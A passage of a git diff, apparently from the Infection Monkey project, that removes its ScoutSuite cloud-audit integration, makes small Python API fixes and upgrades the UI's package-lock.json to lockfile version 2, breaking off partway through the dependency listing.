-1,63 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudformation_rule_path_creator import ( # noqa: E501 - CloudformationRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudtrail_rule_path_creator import ( # noqa: E501 - CloudTrailRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudwatch_rule_path_creator import ( # noqa: E501 - CloudWatchRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.config_rule_path_creator import ( # noqa: E501 - ConfigRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ec2_rule_path_creator import ( # noqa: E501 - EC2RulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elb_rule_path_creator import ( # noqa: E501 - ELBRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elbv2_rule_path_creator import ( # noqa: E501 - ELBv2RulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.iam_rule_path_creator import ( # noqa: E501 - IAMRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.rds_rule_path_creator import ( # noqa: E501 - RDSRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.redshift_rule_path_creator import ( # noqa: E501 - RedshiftRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.s3_rule_path_creator import ( # noqa: E501 - S3RulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ses_rule_path_creator import ( # noqa: E501 - SESRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sns_rule_path_creator import ( # noqa: E501 - SNSRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sqs_rule_path_creator import ( # noqa: E501 - SQSRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.vpc_rule_path_creator import ( # noqa: E501 - VPCRulePathCreator, -) - -RULE_PATH_CREATORS_LIST = [ - EC2RulePathCreator, - ELBv2RulePathCreator, - RDSRulePathCreator, - RedshiftRulePathCreator, - S3RulePathCreator, - IAMRulePathCreator, - CloudTrailRulePathCreator, - ELBRulePathCreator, - VPCRulePathCreator, - CloudWatchRulePathCreator, - SQSRulePathCreator, - SNSRulePathCreator, - SESRulePathCreator, - ConfigRulePathCreator, - CloudformationRulePathCreator, -] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py deleted file mode 100644 index b54b3252c..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ /dev/null @@ -1,58 +0,0 @@ -from typing import Tuple - -from ScoutSuite.providers.base.authentication_strategy import AuthenticationException - -from common.cloud.scoutsuite_consts import CloudProviders -from common.config_value_paths import AWS_KEYS_PATH -from common.utils.exceptions import InvalidAWSKeys -from monkey_island.cc.server_utils.encryption import get_datastore_encryptor -from monkey_island.cc.services.config import ConfigService - - -def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]: - if provider == CloudProviders.AWS.value: - if is_aws_keys_setup(): - return True, "AWS keys already setup." - - import ScoutSuite.providers.aws.authentication_strategy as auth_strategy - - try: - profile = auth_strategy.AWSAuthenticationStrategy().authenticate() - return True, f' Profile "{profile.session.profile_name}" is already setup. ' - except AuthenticationException: - return False, "" - - -def is_aws_keys_setup(): - return ConfigService.get_config_value( - AWS_KEYS_PATH + ["aws_access_key_id"] - ) and ConfigService.get_config_value(AWS_KEYS_PATH + ["aws_secret_access_key"]) - - -def set_aws_keys(access_key_id: str, secret_access_key: str, session_token: str): - if not access_key_id or not secret_access_key: - raise InvalidAWSKeys( - "Missing some of the following fields: access key ID, secret access key." - ) - _set_aws_key("aws_access_key_id", access_key_id) - _set_aws_key("aws_secret_access_key", secret_access_key) - _set_aws_key("aws_session_token", session_token) - - -def _set_aws_key(key_type: str, key_value: str): - path_to_keys = AWS_KEYS_PATH - encrypted_key = get_datastore_encryptor().encrypt(key_value) - ConfigService.set_config_value(path_to_keys + [key_type], encrypted_key) - - -def get_aws_keys(): - return { - "access_key_id": _get_aws_key("aws_access_key_id"), - "secret_access_key": _get_aws_key("aws_secret_access_key"), - "session_token": _get_aws_key("aws_session_token"), - } - - -def _get_aws_key(key_type: str): - path_to_keys = AWS_KEYS_PATH - return ConfigService.get_config_value(config_key_as_arr=path_to_keys + [key_type]) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py deleted file mode 100644 index a97a1a2c8..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py +++ /dev/null @@ -1,29 +0,0 @@ -from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite.consts import rule_consts - - -class ScoutSuiteRuleService: - @staticmethod - def get_rule_from_rule_data(rule_data: dict) -> ScoutSuiteRule: - rule = ScoutSuiteRule() - rule.description = rule_data["description"] - rule.path = rule_data["path"] - rule.level = rule_data["level"] - rule.items = rule_data["items"] - rule.dashboard_name = rule_data["dashboard_name"] - rule.checked_items = rule_data["checked_items"] - rule.flagged_items = rule_data["flagged_items"] - rule.service = rule_data["service"] - rule.rationale = rule_data["rationale"] - rule.remediation = rule_data["remediation"] - rule.compliance = rule_data["compliance"] - rule.references = rule_data["references"] - return rule - - @staticmethod - def is_rule_dangerous(rule: ScoutSuiteRule): - return rule.level == rule_consts.RULE_LEVEL_DANGER and len(rule.items) != 0 - - @staticmethod - def is_rule_warning(rule: ScoutSuiteRule): - return rule.level == rule_consts.RULE_LEVEL_WARNING and len(rule.items) != 0 diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py deleted file mode 100644 index 3d0cf8413..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py +++ /dev/null @@ -1,81 +0,0 @@ -from typing import List - -from common.common_consts import zero_trust_consts -from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding -from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails -from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ( - ScoutSuiteFindingMap, -) -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ( - ScoutSuiteRuleService, -) - - -class ScoutSuiteZTFindingService: - @staticmethod - def process_rule(finding: ScoutSuiteFindingMap, rule: ScoutSuiteRule): - existing_findings = ScoutSuiteFinding.objects(test=finding.test) - assert len(existing_findings) < 2, "More than one finding exists for {}".format( - finding.test - ) - - if len(existing_findings) == 0: - ScoutSuiteZTFindingService._create_new_finding_from_rule(finding, rule) - else: - ScoutSuiteZTFindingService.add_rule(existing_findings[0], rule) - - @staticmethod - def _create_new_finding_from_rule(finding: ScoutSuiteFindingMap, rule: ScoutSuiteRule): - details = ScoutSuiteFindingDetails() - details.scoutsuite_rules = [rule] - details.save() - status = ScoutSuiteZTFindingService.get_finding_status_from_rules(details.scoutsuite_rules) - ScoutSuiteFinding.save_finding(finding.test, status, details) - - @staticmethod - def get_finding_status_from_rules(rules: List[ScoutSuiteRule]) -> str: - if len(rules) == 0: - return zero_trust_consts.STATUS_UNEXECUTED - elif filter(lambda x: ScoutSuiteRuleService.is_rule_dangerous(x), rules): - return zero_trust_consts.STATUS_FAILED - elif filter(lambda x: ScoutSuiteRuleService.is_rule_warning(x), rules): - return zero_trust_consts.STATUS_VERIFY - else: - return zero_trust_consts.STATUS_PASSED - - @staticmethod - def add_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): - ScoutSuiteZTFindingService.change_finding_status_by_rule(finding, rule) - finding.save() - finding.details.fetch().add_rule(rule) - - @staticmethod - def change_finding_status_by_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): - rule_status = ScoutSuiteZTFindingService.get_finding_status_from_rules([rule]) - finding_status = finding.status - new_finding_status = ScoutSuiteZTFindingService.get_finding_status_from_rule_status( - finding_status, rule_status - ) - if finding_status != new_finding_status: - finding.status = new_finding_status - - @staticmethod - def get_finding_status_from_rule_status(finding_status: str, rule_status: str) -> str: - if ( - finding_status == zero_trust_consts.STATUS_FAILED - or rule_status == zero_trust_consts.STATUS_FAILED - ): - return zero_trust_consts.STATUS_FAILED - elif ( - finding_status == zero_trust_consts.STATUS_VERIFY - or rule_status == zero_trust_consts.STATUS_VERIFY - ): - return zero_trust_consts.STATUS_VERIFY - elif ( - finding_status == zero_trust_consts.STATUS_PASSED - or rule_status == zero_trust_consts.STATUS_PASSED - ): - return zero_trust_consts.STATUS_PASSED - else: - return zero_trust_consts.STATUS_UNEXECUTED diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py index cf65819df..8c70130c7 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py @@ -7,7 +7,6 @@ from common.common_consts import zero_trust_consts from common.utils.exceptions import UnknownFindingError from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding -from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import ( MonkeyZTDetailsService, ) @@ -55,7 +54,5 @@ class FindingService: def _get_finding_details(finding: Finding) -> Union[dict, SON]: if type(finding) == MonkeyFinding: return MonkeyZTDetailsService.fetch_details_for_display(finding.details.id) - elif type(finding) == ScoutSuiteFinding: - return finding.details.fetch().to_mongo() else: raise UnknownFindingError(f"Unknown finding type {str(type(finding))}") diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py deleted file mode 100644 index 3a3c06452..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py +++ /dev/null @@ -1,13 +0,0 @@ -from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteRawDataJson - - -class ScoutSuiteRawDataService: - - # Return unparsed json of ScoutSuite results, - # so that UI can pick out values it needs for report - @staticmethod - def get_scoutsuite_data_json() -> str: - try: - return ScoutSuiteRawDataJson.objects.get().scoutsuite_data - except Exception: - return "{}" diff --git a/monkey/monkey_island/cc/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py index 6835dfc61..4069136b7 100644 --- a/monkey/monkey_island/cc/setup/config_setup.py +++ b/monkey/monkey_island/cc/setup/config_setup.py @@ -30,7 +30,7 @@ def _update_config_from_file(config: IslandConfigOptions, config_path: Path): config.update(config_from_file) logger.info(f"Server config updated from {config_path}") except OSError: - logger.warn(f"Server config not found in path {config_path}") + logger.warning(f"Server config not found in path {config_path}") def _load_server_config_from_file(server_config_path) -> dict: diff --git a/monkey/monkey_island/cc/setup/island_config_options.py b/monkey/monkey_island/cc/setup/island_config_options.py index 763474c83..b3408ad86 100644 --- a/monkey/monkey_island/cc/setup/island_config_options.py +++ b/monkey/monkey_island/cc/setup/island_config_options.py @@ -1,5 +1,8 @@ from __future__ import annotations +from types import MappingProxyType as ImmutableMapping +from typing import Mapping + from common.utils.file_utils import expand_path from monkey_island.cc.server_utils.consts import ( DEFAULT_CRT_PATH, @@ -19,10 +22,7 @@ _LOG_LEVEL = "log_level" class IslandConfigOptions: - def __init__(self, config_contents: dict = None): - if config_contents is None: - config_contents = {} - + def __init__(self, config_contents: Mapping[str, Mapping] = ImmutableMapping({})): self.data_dir = DEFAULT_DATA_DIR self.log_level = DEFAULT_LOG_LEVEL self.start_mongodb = DEFAULT_START_MONGO_DB @@ -33,7 +33,7 @@ class IslandConfigOptions: self.update(config_contents) - def update(self, config_contents: dict): + def update(self, config_contents: Mapping[str, Mapping]): self.data_dir = config_contents.get(_DATA_DIR, self.data_dir) self.log_level = config_contents.get(_LOG_LEVEL, self.log_level) diff --git a/monkey/monkey_island/cc/setup/mongo/database_initializer.py b/monkey/monkey_island/cc/setup/mongo/database_initializer.py index 9a6054ca4..35b22b87f 100644 --- a/monkey/monkey_island/cc/setup/mongo/database_initializer.py +++ b/monkey/monkey_island/cc/setup/mongo/database_initializer.py @@ -32,7 +32,7 @@ def _try_store_mitigations_on_mongo(): mitigation_collection_name = AttackMitigations.COLLECTION_NAME try: mongo.db.validate_collection(mitigation_collection_name) - if mongo.db.attack_mitigations.count() == 0: + if mongo.db.attack_mitigations.count_documents({}) == 0: raise errors.OperationFailure( "Mitigation collection empty. Try dropping the collection and running again" ) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 6c602be09..79f85bafb 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -1,15 +1,16594 @@ { "name": "infection-monkey", "version": "1.13.0", - "lockfileVersion": 1, + "lockfileVersion": 2, "requires": true, + "packages": { + "": { + "name": "infection-monkey", + "version": "1.13.0", + "dependencies": { + "@emotion/core": "^10.1.1", + "@fortawesome/fontawesome-svg-core": "^1.2.36", + "@fortawesome/free-regular-svg-icons": "^5.15.4", + "@fortawesome/free-solid-svg-icons": "^5.15.4", + "@fortawesome/react-fontawesome": "^0.1.15", + "@kunukn/react-collapse": "^1.2.7", + "@material-ui/core": "^4.12.3", + "@material-ui/icons": "^4.11.2", + "@types/react-router-dom": "^5.3.1", + "bootstrap": "^4.5.3", + "classnames": "^2.3.1", + "core-js": "^3.18.2", + "d3": "^5.14.1", + "downloadjs": "^1.4.7", + "fetch": "^1.1.0", + "file-saver": "^2.0.5", + "filepond": "^4.30.3", + "jwt-decode": "^2.2.0", + "lodash": "^4.17.21", + "marked": "^4.0.10", + "mui-datatables": "^3.7.8", + "normalize.css": "^8.0.0", + "pluralize": "^7.0.0", + "prop-types": "^15.7.2", + "rainge": "^1.0.1", + "rc-progress": "^2.6.1", + "react": "^16.14.0", + "react-bootstrap": "^1.6.4", + "react-copy-to-clipboard": "^5.0.4", + "react-desktop-notification": "^1.0.9", + "react-dimensions": "^1.3.0", + "react-dom": "^16.14.0", + "react-event-timeline": "^1.6.3", + "react-fa": "^5.0.0", + "react-filepond": "^7.1.0", + "react-graph-vis": "^1.0.7", + "react-hot-loader": "^4.13.0", + "react-json-tree": "^0.12.1", + "react-jsonschema-form-bs4": "^1.7.1", + "react-redux": "^5.1.2", + "react-router-dom": "^5.3.0", + "react-spinners": "^0.9.0", + "react-table": "^6.10.3", + "react-tooltip-lite": "^1.12.0", + "react-tsparticles": "^1.42.4", + "redux": "^4.1.1", + "sha3": "^2.1.4", + "source-map-loader": "^3.0.1", + "tsparticles": "^1.35.4" + }, + "devDependencies": { + "@babel/cli": "^7.15.7", + "@babel/core": "^7.15.8", + "@babel/plugin-proposal-class-properties": "^7.14.5", + "@babel/plugin-transform-runtime": "^7.15.8", + "@babel/preset-env": "^7.15.8", + "@babel/preset-react": "^7.14.5", + "@babel/runtime": "^7.15.4", + "@types/jest": "^26.0.24", + "@types/node": "^14.17.21", + "@types/react": "^16.14.16", + "@types/react-dom": "^16.9.14", + "babel-eslint": "^10.1.0", + "babel-loader": "^8.2.4", + "copyfiles": "^2.4.0", + "css-loader": "^6.7.1", + "eslint": "^6.8.0", + "eslint-loader": "^4.0.1", + "eslint-plugin-react": "^7.26.1", + "fork-ts-checker-webpack-plugin": "^7.2.4", + "glob": "^7.2.0", + "html-loader": "^0.5.5", + "html-webpack-plugin": "^5.5.0", + "minimist": "^1.2.6", + "npm": "^7.24.2", + "null-loader": "^0.1.1", + "rimraf": "^2.7.1", + "sass": "^1.42.1", + "sass-loader": "^12.6.0", + "speed-measure-webpack-plugin": "^1.5.0", + "style-loader": "^3.3.1", + "stylelint": "^13.13.1", + "thread-loader": "^3.0.4", + "ts-loader": "^9.2.8", + "typescript": "^4.4.3", + "webpack": "^5.72.0", + "webpack-cli": "^4.9.2", + "webpack-dev-server": "^4.3.1" + } + }, + "node_modules/@ampproject/remapping": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.1.2.tgz", + "integrity": "sha512-hoyByceqwKirw7w3Z7gnIIZC3Wx3J484Y3L/cMpXFbr7d9ZQj2mODrirNzcJa+SM3UlpWXYvKV4RlRpFXlWgXg==", + "dev": true, + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/cli": { + "version": "7.17.6", + "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.17.6.tgz", + "integrity": "sha512-l4w608nsDNlxZhiJ5tE3DbNmr61fIKMZ6fTBo171VEFuFMIYuJ3mHRhTLEkKKyvx2Mizkkv/0a8OJOnZqkKYNA==", + "dev": true, + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.4", + "commander": "^4.0.1", + "convert-source-map": "^1.1.0", + "fs-readdir-recursive": "^1.1.0", + "glob": "^7.0.0", + "make-dir": "^2.1.0", + "slash": "^2.0.0", + "source-map": "^0.5.0" + }, + "bin": { + "babel": "bin/babel.js", + "babel-external-helpers": "bin/babel-external-helpers.js" + }, + "engines": { + "node": ">=6.9.0" + }, + "optionalDependencies": { + "@nicolo-ribaudo/chokidar-2": "2.1.8-no-fsevents.3", + "chokidar": "^3.4.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.16.7.tgz", + "integrity": "sha512-iAXqUn8IIeBTNd72xsFlgaXHkMBMt6y4HJp1tIaK465CWLT/fG1aqB7ykr95gHHmlBdGbFeWWfyB4NJJ0nmeIg==", + "dependencies": { + "@babel/highlight": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.17.7", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.17.7.tgz", + "integrity": "sha512-p8pdE6j0a29TNGebNm7NzYZWB3xVZJBZ7XGs42uAKzQo8VQ3F0By/cQCtUEABwIqw5zo6WA4NbmxsfzADzMKnQ==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.17.8", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.17.8.tgz", + "integrity": "sha512-OdQDV/7cRBtJHLSOBqqbYNkOcydOgnX59TZx4puf41fzcVtN3e/4yqY8lMQsK+5X2lJtAdmA+6OHqsj1hBJ4IQ==", + "dev": true, + "dependencies": { + "@ampproject/remapping": "^2.1.0", + "@babel/code-frame": "^7.16.7", + "@babel/generator": "^7.17.7", + "@babel/helper-compilation-targets": "^7.17.7", + "@babel/helper-module-transforms": "^7.17.7", + "@babel/helpers": "^7.17.8", + "@babel/parser": "^7.17.8", + "@babel/template": "^7.16.7", + "@babel/traverse": "^7.17.3", + "@babel/types": "^7.17.0", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.1.2", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/generator": { + "version": "7.17.7", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.17.7.tgz", + "integrity": "sha512-oLcVCTeIFadUoArDTwpluncplrYBmTCCZZgXCbgNGvOBBiSDDK3eWO4b/+eOTli5tKv1lg+a5/NAXg+nTcei1w==", + "dev": true, + "dependencies": { + "@babel/types": "^7.17.0", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.16.7.tgz", + "integrity": "sha512-s6t2w/IPQVTAET1HitoowRGXooX8mCgtuP5195wD/QJPV6wYjpujCGF7JuMODVX2ZAJOf1GT6DT9MHEZvLOFSw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.16.7.tgz", + "integrity": "sha512-C6FdbRaxYjwVu/geKW4ZeQ0Q31AftgRcdSnZ5/jsH6BzCJbtvXvhpfkbkThYSuutZA7nCXpPR6AD9zd1dprMkA==", + "dev": true, + "dependencies": { + "@babel/helper-explode-assignable-expression": "^7.16.7", + "@babel/types": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.17.7", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.17.7.tgz", + "integrity": "sha512-UFzlz2jjd8kroj0hmCFV5zr+tQPi1dpC2cRsDV/3IEW8bJfCPrPpmcSN6ZS8RqIq4LXcmpipCQFPddyFA5Yc7w==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.17.7", + "@babel/helper-validator-option": "^7.16.7", + "browserslist": "^4.17.5", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin": { + "version": "7.17.6", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.17.6.tgz", + "integrity": "sha512-SogLLSxXm2OkBbSsHZMM4tUi8fUzjs63AT/d0YQIzr6GSd8Hxsbk2KYDX0k0DweAzGMj/YWeiCsorIdtdcW8Eg==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.16.7", + "@babel/helper-environment-visitor": "^7.16.7", + "@babel/helper-function-name": "^7.16.7", + "@babel/helper-member-expression-to-functions": "^7.16.7", + "@babel/helper-optimise-call-expression": "^7.16.7", + "@babel/helper-replace-supers": "^7.16.7", + "@babel/helper-split-export-declaration": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin": { + "version": "7.17.0", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.17.0.tgz", + "integrity": "sha512-awO2So99wG6KnlE+TPs6rn83gCz5WlEePJDTnLEqbchMVrBeAujURVphRdigsk094VhvZehFoNOihSlcBjwsXA==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.16.7", + "regexpu-core": "^5.0.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.1.tgz", + "integrity": "sha512-J9hGMpJQmtWmj46B3kBHmL38UhJGhYX7eqkcq+2gsstyYt341HmPeWspihX43yVRA0mS+8GGk2Gckc7bY/HCmA==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.13.0", + "@babel/helper-module-imports": "^7.12.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/traverse": "^7.13.0", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2", + "semver": "^6.1.2" + }, + "peerDependencies": { + "@babel/core": "^7.4.0-0" + } + }, + "node_modules/@babel/helper-environment-visitor": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.16.7.tgz", + "integrity": "sha512-SLLb0AAn6PkUeAfKJCCOl9e1R53pQlGAfc4y4XuMRZfqeMYLE0dM1LMhqbGAlGQY0lfw5/ohoYWAe9V1yibRag==", + "dev": true, + "dependencies": { + "@babel/types": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-explode-assignable-expression": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.16.7.tgz", + "integrity": "sha512-KyUenhWMC8VrxzkGP0Jizjo4/Zx+1nNZhgocs+gLzyZyB8SHidhoq9KK/8Ato4anhwsivfkBLftky7gvzbZMtQ==", + "dev": true, + "dependencies": { + "@babel/types": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-function-name": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.16.7.tgz", + "integrity": "sha512-QfDfEnIUyyBSR3HtrtGECuZ6DAyCkYFp7GHl75vFtTnn6pjKeK0T1DB5lLkFvBea8MdaiUABx3osbgLyInoejA==", + "dev": true, + "dependencies": { + "@babel/helper-get-function-arity": "^7.16.7", + "@babel/template": "^7.16.7", + "@babel/types": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-get-function-arity": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.16.7.tgz", + "integrity": "sha512-flc+RLSOBXzNzVhcLu6ujeHUrD6tANAOU5ojrRx/as+tbzf8+stUCj7+IfRRoAbEZqj/ahXEMsjhOhgeZsrnTw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-hoist-variables": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.16.7.tgz", + "integrity": "sha512-m04d/0Op34H5v7pbZw6pSKP7weA6lsMvfiIAMeIvkY/R4xQtBSMFEigu9QTZ2qB/9l22vsxtM8a+Q8CzD255fg==", + "dev": true, + "dependencies": { + "@babel/types": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-member-expression-to-functions": { + "version": "7.17.7", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.17.7.tgz", + "integrity": "sha512-thxXgnQ8qQ11W2wVUObIqDL4p148VMxkt5T/qpN5k2fboRyzFGFmKsTGViquyM5QHKUy48OZoca8kw4ajaDPyw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.17.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.16.7.tgz", + "integrity": "sha512-LVtS6TqjJHFc+nYeITRo6VLXve70xmq7wPhWTqDJusJEgGmkAACWwMiTNrvfoQo6hEhFwAIixNkvB0jPXDL8Wg==", + "dependencies": { + "@babel/types": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.17.7", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.17.7.tgz", + "integrity": "sha512-VmZD99F3gNTYB7fJRDTi+u6l/zxY0BE6OIxPSU7a50s6ZUQkHwSDmV92FfM+oCG0pZRVojGYhkR8I0OGeCVREw==", + "dev": true, + "dependencies": { + "@babel/helper-environment-visitor": "^7.16.7", + "@babel/helper-module-imports": "^7.16.7", + "@babel/helper-simple-access": "^7.17.7", + "@babel/helper-split-export-declaration": "^7.16.7", + "@babel/helper-validator-identifier": "^7.16.7", + "@babel/template": "^7.16.7", + "@babel/traverse": "^7.17.3", + "@babel/types": "^7.17.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-optimise-call-expression": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.16.7.tgz", + "integrity": "sha512-EtgBhg7rd/JcnpZFXpBy0ze1YRfdm7BnBX4uKMBd3ixa3RGAE002JZB66FJyNH7g0F38U05pXmA5P8cBh7z+1w==", + "dev": true, + "dependencies": { + "@babel/types": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.16.7.tgz", + "integrity": 